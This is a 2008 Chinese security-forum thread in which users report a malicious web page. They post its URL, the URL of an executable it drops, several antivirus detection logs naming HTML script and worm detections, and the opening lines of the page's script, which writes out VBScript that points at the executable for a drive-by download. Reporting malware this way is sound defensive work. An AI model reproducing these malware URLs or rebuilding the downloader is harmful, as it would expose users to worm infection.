http://c.j8j8.biz/114/14.htm

显示全部楼层 · 发表于 2008-3-7 20:56:28

显示全部楼层 · 发表于 2008-3-7 20:59:58

ESS斩杀老东西

http://vvv.123sky.biz/114/114.exe

显示全部楼层 · 发表于 2008-3-7 21:00:32

2008-3-7 20:59:01 Script.HttpDownloader.i 病毒 Administrator D:\Sandbox\Administrator\Software\drive\D\Program Files\Opera\profile\cache4\opr01ZSE.htm Realtime scan

显示全部楼层 · 发表于 2008-3-7 21:00:33

http://vvv.123sky.biz/114/114.exe

显示全部楼层 · 发表于 2008-3-7 21:02:30

Virus or unwanted program 'HTML/Rce.Gen [HTML/Rce.Gen]'
detected in file 'D:\Sandbox\Administrator\DefaultBox\drive\I\Local Settings\Temporary Internet Files\Content.IE5\EENCPJBR\14[1].htm.
Action performed: Deny access

显示全部楼层 · 发表于 2008-3-7 21:04:00

Begin scan in 'D:\BOOK\opr01ZSE.rar'
D:\BOOK\opr01ZSE.rar
  [0] Archive type: RAR
  --> opr01ZSE.htm
   [DETECTION] Contains detection pattern of the HTML script virus HTML/Rce.Gen
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2008-3-7 21:09:16

<html>
<script>
document.writeln("<script language=VBScript>");
document.writeln("On Error Resume Next");
document.writeln("lovemzzd = "hxxp://vvv.123sky.biz/114/114.exe"");

显示全部楼层 · 发表于 2008-3-7 21:11:18

deleted: virus Worm.Win32.Anilogo.f File: E:\ÏÂÔØ»ùµØ\114.exe//UPack

显示全部楼层 · 发表于 2008-3-7 23:55:20

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\114.exe'
C:\TDDOWNLOAD\
  114.exe
[0] Archive type: Runtime Packed
--> Object
      [DETECTION] Contains detection pattern of the worm WORM/Cekar.A
   [NOTE]    The file was deleted!

显示全部楼层 · 发表于 2008-3-8 00:28:51

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL: http://c.j8j8.biz/114/14.htm
Information: Contains detection pattern of the HTML script virus HTML/Rce.Gen

Generated by AntiVir WebGuard 8.0.10.0, AVE 8.1.0.17, VDF 7.0.2.33

[已鉴定] http://c.j8j8.biz/114/14.htm

回复 3楼 28654621 的帖子